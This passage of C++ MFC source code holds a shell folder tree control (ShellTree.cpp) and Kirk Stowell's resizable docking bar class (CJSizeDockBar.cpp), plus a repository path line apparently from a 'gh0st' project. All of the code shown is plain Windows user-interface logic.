****************************************************************************/
BOOL CShellTree::OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath)
{
// TODO: Add your control notification handler code here
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
HRESULT hr;
BOOL bRet=false;
TV_SORTCB tvscb;
HTREEITEM hItem=NULL;
if((hItem = GetSelectedItem()))
{
lptvid=(LPTVITEMDATA)GetItemData(hItem);
if (lptvid && lptvid->lpsfParent && lptvid->lpi)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0,IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
ULONG ulAttrs = SFGAO_FILESYSTEM;
// Determine what type of object we have.
lptvid->lpsfParent->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lptvid->lpi, &ulAttrs);
if (ulAttrs & (SFGAO_FILESYSTEM))
{
if(SHGetPathFromIDList(lptvid->lpifq,szBuff)){
szFolderPath = szBuff;
bRet = true;
}
}
//non standard from here(NEW CODE)
NM_TREEVIEW* pnmtv = (NM_TREEVIEW*)pNMHDR;
if ((pnmtv->itemNew.cChildren == 1) && !(pnmtv->itemNew.state & TVIS_EXPANDEDONCE)){
FillTreeView(lpsf2,lptvid->lpifq,pnmtv->itemNew.hItem);
tvscb.hParent = pnmtv->itemNew.hItem;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
SortChildrenCB(&tvscb);
pnmtv->itemNew.state |= TVIS_EXPANDEDONCE;
pnmtv->itemNew.stateMask |= TVIS_EXPANDEDONCE;
pnmtv->itemNew.mask |= TVIF_STATE;
SetItem(&pnmtv->itemNew);
}
}
}
if(lpsf2)
lpsf2->Release();
}
*pResult = 0;
return bRet;
}
/****************************************************************************
*
* FUNCTION: OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult)
*
* PURPOSE: Releases the memory allocated by the shell folders
*
* MESSAGEMAP: TVN_DELETEITEM
*
* MISC: failure to call this function will result in a memory leak
*
****************************************************************************/
void CShellTree::OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult)
{
LPTVITEMDATA lptvid=NULL;
HRESULT hr;
LPMALLOC lpMalloc;
NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
//Let's free the memory for the TreeView item data...
hr=SHGetMalloc(&lpMalloc);
if (FAILED(hr))
return;
lptvid=(LPTVITEMDATA)pNMTreeView->itemOld.lParam;
lptvid->lpsfParent->Release();
lpMalloc->Free(lptvid->lpi);
lpMalloc->Free(lptvid->lpifq);
lpMalloc->Free(lptvid);
lpMalloc->Release();
}
/****************************************************************************
*
* FUNCTION: EnableImages()
*
* PURPOSE: Obtains a handle to the system image list and attaches it
* to the tree control. DO NOT DELETE the imagelist
*
* MESSAGEMAP: NONE
*
****************************************************************************/
void CShellTree::EnableImages()
{
// Get the handle to the system image list, for our icons
HIMAGELIST hImageList;
SHFILEINFO sfi;
hImageList = (HIMAGELIST)SHGetFileInfo((LPCSTR)_T("C:\\"),
0,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
// Attach ImageList to TreeView
if (hImageList)
::SendMessage(m_hWnd, TVM_SETIMAGELIST, (WPARAM) TVSIL_NORMAL,
(LPARAM)hImageList);
}
/****************************************************************************
*
* FUNCTION: GetSelectedFolderPath(CString &szFolderPath)
*
* PURPOSE: Retrieves the path of the currently selected string.
* Pass a CString object that will hold the folder path.
* If the path is not in the filesystem(eg MyComputer)
* or none is selected it returns false.
*
* MESSAGEMAP: NONE
*
****************************************************************************/
BOOL CShellTree::GetSelectedFolderPath(CString &szFolderPath)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
HTREEITEM hItem=NULL;
HRESULT hr;
BOOL bRet=false;
if((hItem = GetSelectedItem()))
{
lptvid=(LPTVITEMDATA)GetItemData(hItem);
if (lptvid && lptvid->lpsfParent && lptvid->lpi)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0,IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
ULONG ulAttrs = SFGAO_FILESYSTEM;
// Determine what type of object we have.
lptvid->lpsfParent->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lptvid->lpi, &ulAttrs);
if (ulAttrs & (SFGAO_FILESYSTEM))
{
if(SHGetPathFromIDList(lptvid->lpifq,szBuff)){
szFolderPath = szBuff;
bRet = true;
}
}
}
}
if(lpsf2)
lpsf2->Release();
}
return bRet;
}
/****************************************************************************
*
* FUNCTION: GetParentShellFolder(HTREEITEM folderNode)
*
* PURPOSE: Retrieves the pointer to the ISHELLFOLDER interface
* of the tree node passed as the paramter.
*
* MESSAGEMAP: NONE
*
****************************************************************************/
LPSHELLFOLDER CShellTree::GetParentShellFolder(HTREEITEM folderNode)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
lptvid=(LPTVITEMDATA)GetItemData(folderNode);
if(lptvid)
return lptvid->lpsfParent;
else
return NULL;
}
/****************************************************************************
*
* FUNCTION: GetRelativeIDLIST(HTREEITEM folderNode)
*
* PURPOSE: Retrieves the Pointer to an ITEMIDLIST structure that
* identifies the subfolder relative to its parent folder.
* see GetParentShellFolder();
*
* MESSAGEMAP: NONE
*
****************************************************************************/
LPITEMIDLIST CShellTree::GetRelativeIDLIST(HTREEITEM folderNode)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
lptvid=(LPTVITEMDATA)GetItemData(folderNode);
if(lptvid)
return lptvid->lpifq;
else
return NULL;
}
/****************************************************************************
*
* FUNCTION: GetFullyQualifiedIDLIST(HTREEITEM folderNode)
*
* PURPOSE: Retrieves the Retrieves the Pointer to an ITEMIDLIST
* structure that identifies the subfolder relative to the
* desktop. This is a fully qualified Item Identifier
*
* MESSAGEMAP: NONE
*
****************************************************************************/
LPITEMIDLIST CShellTree::GetFullyQualifiedID(HTREEITEM folderNode)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
lptvid=(LPTVITEMDATA)GetItemData(folderNode);
if(lptvid)
return lptvid->lpifq;
else
return NULL;
}
/****************************************************************************
*
* FUNCTION: SearchTree( HTREEITEM treeNode,
* CString szSearchName )
*
* PURPOSE: Too crude to explain, just use it
*
* WARNING: Only works if you use the default PopulateTree()
* Not guaranteed to work on any future or existing
* version of windows. Use with caution. Pretty much
* ok if you're using on local drives
*
****************************************************************************/
bool CShellTree::SearchTree(HTREEITEM treeNode,
CString szSearchName,
FindAttribs attr)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
bool bRet=false;
HRESULT hr;
CString szCompare;
szSearchName.MakeUpper();
while(treeNode && bRet==false)
{
lptvid=(LPTVITEMDATA)GetItemData(treeNode);
if (lptvid && lptvid->lpsfParent && lptvid->lpi)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0,IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
ULONG ulAttrs = SFGAO_FILESYSTEM;
lptvid->lpsfParent->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lptvid->lpi, &ulAttrs);
if (ulAttrs & (SFGAO_FILESYSTEM))
{
if(SHGetPathFromIDList(lptvid->lpifq,szCompare.GetBuffer(MAX_PATH)))
{
switch(attr)
{
case type_drive:
_splitpath(szCompare,drive,dir,fname,ext);
szCompare=drive;
break;
case type_folder:
szCompare = GetItemText(treeNode);
break;
}
szCompare.MakeUpper();
if(szCompare == szSearchName)
{
EnsureVisible(treeNode);
SelectItem(treeNode);
bRet=true;
}
}
}
lpsf2->Release();
}
}
treeNode = GetNextSiblingItem(treeNode);
}
return bRet;
}
/****************************************************************************
*
* FUNCTION: TunnelTree(CString szFindPath)
*
* PURPOSE: Too crude to explain, just use it
*
* WARNING: Only works if you use the default PopulateTree()
* Not guaranteed to work on any future or existing
* version of windows. Use with caution. Pretty much
* ok if you're using on local drives
*
****************************************************************************/
void CShellTree::TunnelTree(CString szFindPath)
{
HTREEITEM subNode = GetRootItem();
CString szPathHop;
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
char delimiter[]=_T("\\");
CSHFileInfo checkPath(szFindPath);
if(!checkPath.Exist())
{
MessageBox(szFindPath,_T("Folder not found"),MB_ICONERROR);
return;
}
if(szFindPath.ReverseFind(_T('\\')) != szFindPath.GetLength()-1)
{
szFindPath += _T("\\");
}
_splitpath(szFindPath,drive,dir,fname,ext);
//search the drive first
szPathHop=drive;
subNode=GetChildItem(subNode);
if(subNode)
{
if(SearchTree(subNode,szPathHop, CShellTree::type_drive))
{
//break down subfolders and search
char *p=strtok(dir,delimiter);
while(p)
{
subNode = GetSelectedItem();
subNode = GetChildItem(subNode);
if(SearchTree(subNode,p,CShellTree::type_folder))
p=strtok(NULL,delimiter);
else
p=NULL;
}
}
}
}
/****************************************************************************
*
* FUNCTION: PopulateTree(LPCTSTR lpPath)
*
* PURPOSE: Populates tree based upon path.
*
* AUTHOR: Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
*
****************************************************************************/
void CShellTree::PopulateTree(LPCTSTR lpPath)
{
LPSHELLFOLDER lpsf=NULL,lpsf2=NULL;
LPITEMIDLIST lpi=NULL;
HRESULT hr;
TV_SORTCB tvscb;
LPTSTR lpFolder = (LPTSTR)lpPath;
LPTSTR lpNextFolder;
TCHAR strPath[_MAX_PATH];
LPMALLOC pMalloc;
if (::SHGetMalloc(&pMalloc) == NOERROR)
{
// Get a pointer to the desktop folder.
hr=SHGetDesktopFolder(&lpsf);
if (SUCCEEDED(hr))
{
USES_CONVERSION;
// Initialize the tree view to be empty.
DeleteAllItems();
do{
// Get the Next Component
lpNextFolder = PathFindNextComponent( lpFolder );
if( lpNextFolder && *lpNextFolder ){
memcpy( strPath, lpFolder, ( lpNextFolder - lpFolder ) );
strPath[lpNextFolder - lpFolder] = _T('\0');
}
else{
_tcscpy( strPath, lpFolder );
lpNextFolder = NULL;
}
// Get ShellFolder Pidl
ULONG eaten;
hr = lpsf->ParseDisplayName( NULL, NULL, T2OLE(strPath), &eaten, &lpi, NULL );
if( FAILED( hr ) ){
break;
}
hr=lpsf->BindToObject(lpi, 0, IID_IShellFolder,(LPVOID *)&lpsf2);
if( FAILED( hr ) ){
break;
}
pMalloc->Free( lpi );
// Release the Parent Folder pointer.
lpsf->Release();
// Chenge Folder Info
lpsf = lpsf2;
lpFolder = lpNextFolder;
}
while( lpNextFolder );
FillTreeView(lpsf,NULL,TVI_ROOT);
}
}
tvscb.hParent = TVI_ROOT;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
// Sort the items in the tree view
SortChildrenCB(&tvscb/*, FALSE*/);
HTREEITEM hItem;
hItem = GetRootItem();
Expand(hItem,TVE_EXPAND);
Select(GetRootItem(),TVGN_CARET);
} | 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/ShellTree.cpp | C++ | asf20 | 28,003 |
// CJSizeDockBar.cpp : implementation file
//
// Copyright ?1998-99 Kirk Stowell
// mailto:kstowell@codejockeys.com
// http://www.codejockeys.com/kstowell/
//
// This source code may be used in compiled form in any way you desire.
// Source file(s) may be redistributed unmodified by any means PROVIDING
// they are not sold for profit without the authors expressed written consent,
// and providing that this notice and the authors name and all copyright
// notices remain intact. If the source code is used in any commercial
// applications then a statement along the lines of:
//
// "Portions Copyright ?1998-99 Kirk Stowell" must be included in the
// startup banner, "About" box or printed documentation. An email letting
// me know that you are using it would be nice as well. That's not much to ask
// considering the amount of work that went into this.
//
// This software is provided "as is" without express or implied warranty. Use
// it at your own risk! The author accepts no liability for any damage/loss of
// business that this product may cause.
//
// ==========================================================================
//
// Acknowledgements:
// <> Many thanks to all of you, who have encouraged me to update my articles
// and code, and who sent in bug reports and fixes.
// <> Many thanks Zafir Anjum (zafir@codeguru.com) for the tremendous job that
// he has done with codeguru, enough can not be said!
// <> Many thanks to Microsoft for making the source code availiable for MFC.
// Since most of this work is a modification from existing classes and
// methods, this library would not have been possible.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 12 Jan 1999 - Initial release to add side-by-side
// docking support for CCJControlBar class.
// 1.01 29 Jan 1999 - Made some cosmetic enhancements to more
// closely match DevStudio docking windows.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CJSizeDockBar.h"
#include "CJControlBar.h"
#include "CJToolBar.h"
#include "resource.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCJSizeDockBar
CCJSizeDockBar::CCJSizeDockBar()
{
m_iTrackBorderSize = 4;
m_cxLeftBorder = 0;
m_cyTopBorder = 0;
m_cxRightBorder = 0;
m_cyBottomBorder = 0;
m_iActualSize = 100;
m_iSafeSpace = 25;
m_bOkToDrag = FALSE;
m_bDragging = FALSE;
m_bAutoDelete = TRUE;
m_clrBtnHilite = ::GetSysColor(COLOR_BTNHILIGHT);
m_clrBtnShadow = ::GetSysColor(COLOR_BTNSHADOW);
m_clrBtnFace = ::GetSysColor(COLOR_BTNFACE);
}
CCJSizeDockBar::~CCJSizeDockBar()
{
// TODO: add destruction code here.
}
IMPLEMENT_DYNAMIC(CCJSizeDockBar, CDockBar)
BEGIN_MESSAGE_MAP(CCJSizeDockBar, CDockBar)
//{{AFX_MSG_MAP(CCJSizeDockBar)
ON_WM_NCPAINT()
ON_WM_NCCALCSIZE()
ON_WM_SETCURSOR()
ON_WM_NCHITTEST()
ON_WM_NCLBUTTONDOWN()
ON_WM_LBUTTONUP()
ON_WM_MOUSEMOVE()
ON_WM_SYSCOLORCHANGE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCJSizeDockBar overrides
CSize CCJSizeDockBar::CalcDynamicLayout(int nLength, DWORD nMode)
{
int ActualSize = 0;
for(int i=0;i<= m_arrBars.GetUpperBound();++i)
{
CCJControlBar *pBar = (CCJControlBar *)GetDockedControlBar(i);
if (pBar != NULL && pBar->IsVisible())
{
ActualSize = m_iActualSize;
break;
}
}
int cx,cy;
if (nMode & LM_VERTDOCK) {
cx = ActualSize ;
cy = 32767;
}
if (nMode & LM_HORZDOCK) {
cx= 32767;
cy = ActualSize;
}
CalcSizeBarLayout();
return CSize(cx,cy);
}
void CCJSizeDockBar::DoPaint(CDC *pDC)
{
CDockBar::DoPaint(pDC);
}
BOOL CCJSizeDockBar::IsDockBar() const
{
return FALSE;
}
BOOL CCJSizeDockBar::IsDockSizeBar() const
{
return TRUE;
}
void CCJSizeDockBar::OnInvertTracker(const CRect& rect)
{
ASSERT_VALID(this);
ASSERT(!rect.IsRectEmpty());
CDC* pDC = GetDockingFrame()->GetDC();
CBrush* pBrush = CDC::GetHalftoneBrush();
HBRUSH hOldBrush = NULL;
if (pBrush != NULL)
hOldBrush = (HBRUSH)SelectObject(pDC->m_hDC, pBrush->m_hObject);
pDC->PatBlt(rect.left, rect.top, rect.Width(), rect.Height(), PATINVERT);
if (hOldBrush != NULL)
SelectObject(pDC->m_hDC, hOldBrush);
GetDockingFrame()->ReleaseDC(pDC);
}
void CCJSizeDockBar::HitTest(const CPoint & point)
{
UINT nID = ((UINT)(WORD)::GetDlgCtrlID(m_hWnd));
CRect rcWin;
GetWindowRect(&rcWin);
HCURSOR hCur;
static BOOL bHitting,bUnItting;
bHitting = FALSE;
bUnItting = TRUE;
BOOL bHit = FALSE;
if (nID == AFX_IDW_SIZEBAR_LEFT) {
rcWin.left = rcWin.right-m_iTrackBorderSize;
hCur = AfxGetApp()->LoadCursor(AFX_IDC_HSPLITBAR);
bHit = rcWin.PtInRect(point);
}
else if (nID == AFX_IDW_SIZEBAR_TOP) {
rcWin.top = rcWin.bottom-m_iTrackBorderSize;
hCur = AfxGetApp()->LoadCursor(AFX_IDC_VSPLITBAR);
bHit = rcWin.PtInRect(point);
}
else if (nID == AFX_IDW_SIZEBAR_RIGHT) {
rcWin.right = rcWin.left+m_iTrackBorderSize;
hCur = AfxGetApp()->LoadCursor(AFX_IDC_HSPLITBAR);
bHit = rcWin.PtInRect(point);
}
else if (nID == AFX_IDW_SIZEBAR_BOTTOM) {
rcWin.bottom = rcWin.top+m_iTrackBorderSize;
hCur = AfxGetApp()->LoadCursor(AFX_IDC_VSPLITBAR);
bHit = rcWin.PtInRect(point);
}
if (bHit) {
SetCursor(hCur);
}
else {
hCur = ::LoadCursor(NULL,IDC_ARROW);
SetCursor(hCur);
}
m_bOkToDrag = bHit;
}
/////////////////////////////////////////////////////////////////////////////
// CCJSizeDockBar message handlers
void CCJSizeDockBar::OnNcPaint()
{
EraseNonClient();
}
void CCJSizeDockBar::OnNcCalcSize(BOOL bCalcValidRects, NCCALCSIZE_PARAMS FAR* lpncsp)
{
UINT nID = ((UINT)(WORD)::GetDlgCtrlID(m_hWnd));
if (nID == AFX_IDW_SIZEBAR_LEFT) {
m_cyBottomBorder += m_iTrackBorderSize;
CDockBar::OnNcCalcSize(bCalcValidRects, lpncsp);
m_cyBottomBorder -= m_iTrackBorderSize;
}
else if (nID == AFX_IDW_SIZEBAR_TOP) {
m_cyBottomBorder += m_iTrackBorderSize;
CDockBar::OnNcCalcSize(bCalcValidRects, lpncsp);
m_cyBottomBorder -= m_iTrackBorderSize;
}
else if (nID == AFX_IDW_SIZEBAR_RIGHT) {
m_cyTopBorder += m_iTrackBorderSize;
CDockBar::OnNcCalcSize(bCalcValidRects, lpncsp);
m_cyTopBorder -= m_iTrackBorderSize;
}
else if (nID == AFX_IDW_SIZEBAR_BOTTOM) {
m_cyTopBorder += m_iTrackBorderSize;
CDockBar::OnNcCalcSize(bCalcValidRects, lpncsp);
m_cyTopBorder -= m_iTrackBorderSize;
}
}
BOOL CCJSizeDockBar::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
return (nHitTest == HTCLIENT)?
CDockBar::OnSetCursor(pWnd, nHitTest, message):FALSE;
}
LRESULT CCJSizeDockBar::OnNcHitTest(CPoint point)
{
HitTest(point);
return (m_bOkToDrag)?HTBORDER:CDockBar::OnNcHitTest(point);
}
void CCJSizeDockBar::OnNcLButtonDown(UINT nHitTest, CPoint point)
{
if( m_bOkToDrag )
{
UINT nID = ((UINT)(WORD)::GetDlgCtrlID(m_hWnd));
CFrameWnd *pFrame=GetDockingFrame();
GetWindowRect(m_rcTrack);
if (nID == AFX_IDW_SIZEBAR_LEFT)
m_rcTrack.left = m_rcTrack.right-m_iTrackBorderSize;
else if (nID == AFX_IDW_SIZEBAR_TOP)
m_rcTrack.top = m_rcTrack.bottom-m_iTrackBorderSize;
else if (nID == AFX_IDW_SIZEBAR_RIGHT)
m_rcTrack.right = m_rcTrack.left+m_iTrackBorderSize;
else if (nID == AFX_IDW_SIZEBAR_BOTTOM)
m_rcTrack.bottom = m_rcTrack.top+m_iTrackBorderSize;
pFrame->ScreenToClient(&m_rcTrack);
pFrame->ScreenToClient(&point);
m_ptStartDrag = point;
m_ptCurDrag = point;
SetCapture();
m_bDragging = TRUE;
OnInvertTracker(m_rcTrack);
}
CDockBar::OnNcLButtonDown(nHitTest, point);
}
void CCJSizeDockBar::OnLButtonUp(UINT nFlags, CPoint point)
{
if( m_bDragging )
{
CRect rectWin;
CRect rectAvail;
GetWindowRect(&rectWin);
ReleaseCapture();
m_bDragging = FALSE;
OnInvertTracker(m_rcTrack);
GetAvailableRect(rectAvail);
UINT nID = ((UINT)(WORD)::GetDlgCtrlID(m_hWnd));
if (nID == AFX_IDW_SIZEBAR_LEFT ) {
int maxWidth = rectAvail.Width()-m_iSafeSpace;
int newWidth = m_rcTrack.left-m_ptStartDrag.x;
m_iActualSize = newWidth>maxWidth ? maxWidth: newWidth;
m_iActualSize += rectWin.Width();
}
else if (nID == AFX_IDW_SIZEBAR_TOP) {
int maxHeight = rectAvail.Height()-m_iSafeSpace;
int newHeight = m_rcTrack.top-m_ptStartDrag.y;
m_iActualSize = newHeight>maxHeight ? maxHeight : newHeight;
m_iActualSize += rectWin.Height();
}
else if (nID == AFX_IDW_SIZEBAR_RIGHT) {
int maxWidth = rectAvail.Width()-m_iSafeSpace;
int newWidth = m_ptStartDrag.x-m_rcTrack.left;
m_iActualSize = newWidth>maxWidth ? maxWidth: newWidth;
m_iActualSize += rectWin.Width();
}
else if (nID == AFX_IDW_SIZEBAR_BOTTOM) {
int maxHeight = rectAvail.Height()-m_iSafeSpace;
int newHeight = m_ptStartDrag.y-m_rcTrack.top;
m_iActualSize = newHeight>maxHeight ? maxHeight : newHeight;
m_iActualSize += rectWin.Height();
}
if(m_iActualSize<m_iTrackBorderSize )
m_iActualSize = m_iTrackBorderSize;
GetDockingFrame()->RecalcLayout();
RecalcAllExcept(NULL);
}
CDockBar::OnLButtonUp(nFlags, point);
}
void CCJSizeDockBar::OnMouseMove(UINT nFlags, CPoint point)
{
if( m_bDragging )
{
CRect rectWin;
GetWindowRect(&rectWin);
CRect rectAvail;
GetAvailableRect(rectAvail);
CFrameWnd *pFrame=GetDockingFrame();
ClientToScreen(&point);
pFrame->ScreenToClient(&point);
UINT nID = ((UINT)(WORD)::GetDlgCtrlID(m_hWnd));
if (nID == AFX_IDW_SIZEBAR_LEFT) {
point.x = point.x>rectAvail.right ? rectAvail.right:point.x;
point.x = point.x<m_iTrackBorderSize ? m_iTrackBorderSize:point.x;
}
else if (nID == AFX_IDW_SIZEBAR_TOP) {
point.y = point.y>rectAvail.bottom ? rectAvail.bottom:point.y;
point.y = point.y<m_iTrackBorderSize ? m_iTrackBorderSize:point.y;
}
else if (nID == AFX_IDW_SIZEBAR_RIGHT) {
point.x = point.x<rectAvail.left ? rectAvail.left:point.x;
point.x = point.x>rectAvail.right+m_iActualSize-m_iTrackBorderSize ? rectAvail.right-m_iTrackBorderSize+m_iActualSize:point.x;
}
else if (nID == AFX_IDW_SIZEBAR_BOTTOM) {
point.y = point.y<rectAvail.top ? rectAvail.top:point.y;
point.y = point.y>rectAvail.bottom+m_iActualSize-m_iTrackBorderSize ? rectAvail.bottom-m_iTrackBorderSize+m_iActualSize:point.y;
}
int deltaX = point.x-m_ptCurDrag.x;
int deltaY = point.y-m_ptCurDrag.y;
m_ptCurDrag = point;
if (nID == AFX_IDW_SIZEBAR_LEFT || nID == AFX_IDW_SIZEBAR_RIGHT && deltaX)
{
OnInvertTracker(m_rcTrack);
m_rcTrack.left+=deltaX;
m_rcTrack.right+=deltaX;
OnInvertTracker(m_rcTrack);
}
else if( nID == AFX_IDW_SIZEBAR_TOP || nID == AFX_IDW_SIZEBAR_BOTTOM && deltaY)
{
OnInvertTracker(m_rcTrack);
m_rcTrack.top+=deltaY;
m_rcTrack.bottom+=deltaY;
OnInvertTracker(m_rcTrack);
}
}
CDockBar::OnMouseMove(nFlags, point);
}
void CCJSizeDockBar::OnSysColorChange()
{
CDockBar::OnSysColorChange();
m_clrBtnHilite = ::GetSysColor(COLOR_BTNHILIGHT);
m_clrBtnShadow = ::GetSysColor(COLOR_BTNSHADOW);
m_clrBtnFace = ::GetSysColor(COLOR_BTNFACE);
}
/////////////////////////////////////////////////////////////////////////////
// CCJControlBar operations
void CCJSizeDockBar::GetAvailableRect(CRect &rect)
{
GetDockingFrame()->GetClientRect(&rect);
GetDockingFrame()->RepositionBars(0xffff, 0xffff, AFX_IDW_PANE_FIRST,reposQuery,
&rect, &rect, TRUE);
}
BOOL CCJSizeDockBar::IsLastControlBar(int index)
{
for( int i=index; i<m_arrBars.GetSize(); ++i)
{
CCJControlBar *pOther = (CCJControlBar *)GetDockedControlBar(i);
if (pOther != NULL && pOther->IsVisible())
{
return FALSE;
}
}
return TRUE;
}
CCJControlBar* CCJSizeDockBar::GetDockedSizeBar(int nPos)
{
return (CCJControlBar*)GetDockedControlBar(nPos);
}
void CCJSizeDockBar::RecalcAllExcept(CCJSizeDockBar *pBar)
{
CFrameWnd *pFrame = (CFrameWnd*)AfxGetApp()->m_pMainWnd;
ASSERT_VALID(pFrame);
for (int i = 0; i < 4; i++)
{
CCJSizeDockBar* pDock = (CCJSizeDockBar*)pFrame->GetControlBar(dwSizeBarMap[i][0]);
if (pDock != NULL && pDock != pBar) {
pDock->CalcSizeBarLayout();
}
}
}
void CCJSizeDockBar::DrawBorders(CDC *pDC, CRect &rect)
{
int cxBorderLeft = 0;
int cxBorderRight = 0;
int cyBorderTop = 0;
int cyBorderBottom = 0;
CRect rc;
rc.CopyRect(&rect);
if (m_dwStyle & CBRS_BORDER_TOP) {
pDC->FillSolidRect(rc.left,rc.top,rc.Width(),1,m_clrBtnShadow);
pDC->FillSolidRect(rc.left,rc.top+1,rc.Width(),1,m_clrBtnHilite);
cyBorderTop+=2;
}
if (m_dwStyle & CBRS_BORDER_BOTTOM) {
pDC->FillSolidRect(rc.left,rc.bottom-1,rc.Width(),1,m_clrBtnHilite);
pDC->FillSolidRect(rc.left,rc.bottom-2,rc.Width(),1,m_clrBtnShadow);
cyBorderBottom+=2;
}
if (m_dwStyle & CBRS_BORDER_LEFT) {
pDC->FillSolidRect(rc.left,rc.top,1,rc.Height(),m_clrBtnShadow);
pDC->FillSolidRect(rc.left+1,rc.top,1,rc.Height(),m_clrBtnHilite);
cxBorderLeft+=2;
}
if (m_dwStyle & CBRS_BORDER_RIGHT) {
pDC->FillSolidRect(rc.right-2,rc.top,1,rc.Height(),m_clrBtnShadow);
pDC->FillSolidRect(rc.right-1,rc.top,1,rc.Height(),m_clrBtnHilite);
cxBorderRight+=2;
}
UINT nID = ((UINT)(WORD)::GetDlgCtrlID(m_hWnd));
CRect rcTrack;
rcTrack.CopyRect(&rc);
if (nID == AFX_IDW_SIZEBAR_LEFT) {
rcTrack.left = rc.right-m_iTrackBorderSize;
rcTrack.right += 1;
rcTrack.top += 1;
rcTrack.bottom -= 1;
pDC->FillSolidRect(rcTrack,m_clrBtnFace);
pDC->Draw3dRect(rcTrack,m_clrBtnHilite,m_clrBtnShadow);
cxBorderRight = m_iTrackBorderSize;
}
else if (nID == AFX_IDW_SIZEBAR_TOP) {
rcTrack.top = rc.bottom-m_iTrackBorderSize;
rcTrack.bottom+=1;
pDC->FillSolidRect(rcTrack,m_clrBtnFace);
pDC->Draw3dRect(rcTrack,m_clrBtnHilite,m_clrBtnShadow);
cyBorderBottom = m_iTrackBorderSize;
}
else if (nID == AFX_IDW_SIZEBAR_RIGHT) {
rcTrack.right = rc.left+m_iTrackBorderSize;
rcTrack.left -= 1;
rcTrack.top += 1;
rcTrack.bottom -= 1;
pDC->FillSolidRect(rcTrack,m_clrBtnFace);
pDC->Draw3dRect(rcTrack,m_clrBtnHilite,m_clrBtnShadow);
cxBorderLeft = m_iTrackBorderSize;
}
else if (nID == AFX_IDW_SIZEBAR_BOTTOM) {
rcTrack.bottom = rc.top+m_iTrackBorderSize;
rcTrack.top-=1;
pDC->FillSolidRect(rcTrack,m_clrBtnFace);
pDC->Draw3dRect(rcTrack,m_clrBtnHilite,m_clrBtnShadow);
cyBorderTop = m_iTrackBorderSize;
}
rect.left += cxBorderLeft;
rect.right -= cxBorderRight;
rect.top += cyBorderTop;
rect.bottom -= cyBorderBottom;
}
void CCJSizeDockBar::EraseNonClient()
{
CWindowDC dc(this);
CRect rectClient;
GetClientRect(rectClient);
CRect rectWindow;
GetWindowRect(rectWindow);
ScreenToClient(rectWindow);
rectClient.OffsetRect(-rectWindow.left, -rectWindow.top);
dc.ExcludeClipRect(rectClient);
rectWindow.OffsetRect(-rectWindow.left, -rectWindow.top);
DrawBorders(&dc, rectWindow);
dc.IntersectClipRect(rectWindow);
SendMessage(WM_ERASEBKGND, (WPARAM)dc.m_hDC);
}
void CCJSizeDockBar::SetActualSize(int iSize)
{
m_iActualSize=iSize;
}
void CCJSizeDockBar::CalcSizeBarLayout()
{
HDWP hDWP = ::BeginDeferWindowPos(m_arrBars.GetSize());
CRect rectAvail;
GetClientRect(&rectAvail);
int nCount = 0;
int lastLeft = 0;
int lastRight = 0;
int lastBottom = 0;
int lastTop = 0;
for( int i=0; i<m_arrBars.GetSize(); ++i)
{
CCJControlBar *pBar = (CCJControlBar *)GetDockedControlBar(i);
if (pBar != NULL && pBar->IsVisible())
{
CRect rectBar;
++nCount;
pBar->GetWindowRect(&rectBar);
pBar->m_bUnique = FALSE;
ScreenToClient(&rectBar);
CSize sizeIdeal = pBar->CalcDynamicLayout(-1,0);
if( pBar->IsLeftDocked() )
{
rectBar.top = lastLeft;
rectBar.left = 0;
rectBar.right = rectAvail.Width();
rectBar.bottom = rectBar.top + sizeIdeal.cy;
if (rectBar.top>lastLeft)
rectBar.top = lastLeft;
lastLeft = rectBar.bottom;
if (IsLastControlBar(i+1))
{
rectBar.bottom = rectAvail.bottom;
pBar->m_bToFit = TRUE;
if( nCount == 1 )
pBar->m_bUnique = TRUE;
}
else
pBar->m_bToFit = FALSE;
}
else if (pBar->IsTopDocked())
{
rectBar.left = lastTop;
rectBar.top = 0;
rectBar.bottom = rectAvail.Height();
rectBar.right = rectBar.left + sizeIdeal.cx;
if( rectBar.left>lastTop )
rectBar.left = lastTop;
lastTop = rectBar.right;
if (IsLastControlBar(i+1))
{
rectBar.right = rectAvail.right;
pBar->m_bToFit = TRUE;
if (nCount == 1)
pBar->m_bUnique = TRUE;
}
else
pBar->m_bToFit = FALSE;
}
else if (pBar->IsRightDocked())
{
rectBar.top = lastRight;
